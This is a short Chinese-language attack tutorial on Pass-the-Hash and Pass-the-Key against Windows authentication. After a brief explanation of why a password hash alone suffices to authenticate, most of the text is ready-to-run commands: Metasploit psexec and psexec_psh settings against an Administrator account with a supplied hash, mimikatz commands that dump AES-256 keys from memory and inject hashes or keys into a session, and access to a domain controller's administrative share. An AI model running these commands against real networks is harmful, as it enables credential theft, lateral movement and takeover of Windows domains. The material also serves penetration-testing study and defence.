1. 程式人生 > 實用技巧 >Pass-The-Hash(Key)

Pass-The-Hash(Key)

Pass The Hash(Key) 憑據傳遞攻擊

原理

由於在進行認證的時候,是用使用者hash加密時間戳,即使在使用密碼進行登入的情況下,也是先把密碼加密成hash,再進行認證。因此在只有使用者hash,沒有明文密碼的情況下也是可以進行認證的。不管是rubeus還是impacket裡面的相關指令碼都是支援直接使用hash進行認證。其中,如果hash的ntlm hash,然後加密方式是rc4,這種就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys匯出來),就算是pass the key。在很多地方,不支援rc4加密方式的時候,使用pass the key不失為一種好方法。

利用方法

msf

use exploit/windows/smb/psexec_psh 
msf5 exploit(windows/smb/psexec_psh) > set rhosts 192.168.1.107
msf5 exploit(windows/smb/psexec_psh) > set smbuser Administrator
exploit(windows/smb/psexec_psh) > set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7

或者

use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.1.107
msf5 exploit(windows/smb/psexec) > set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
msf5 exploit(windows/smb/psexec) > run

mimikatz

privilege::debug
sekurlsa::pth /user:使用者名稱 /domain:域名 /ntlm:NTLMHash

pass the key

//使用mimikatz抓取AES-256金鑰
privilege::debug
sekurlsa::ekeys
//匯入
privilege::debug
sekurlsa::pth /user:使用者名稱 /domain:域名 /aes256:AES256金鑰
//檢視DC的共享資料夾
dir \\dc\c$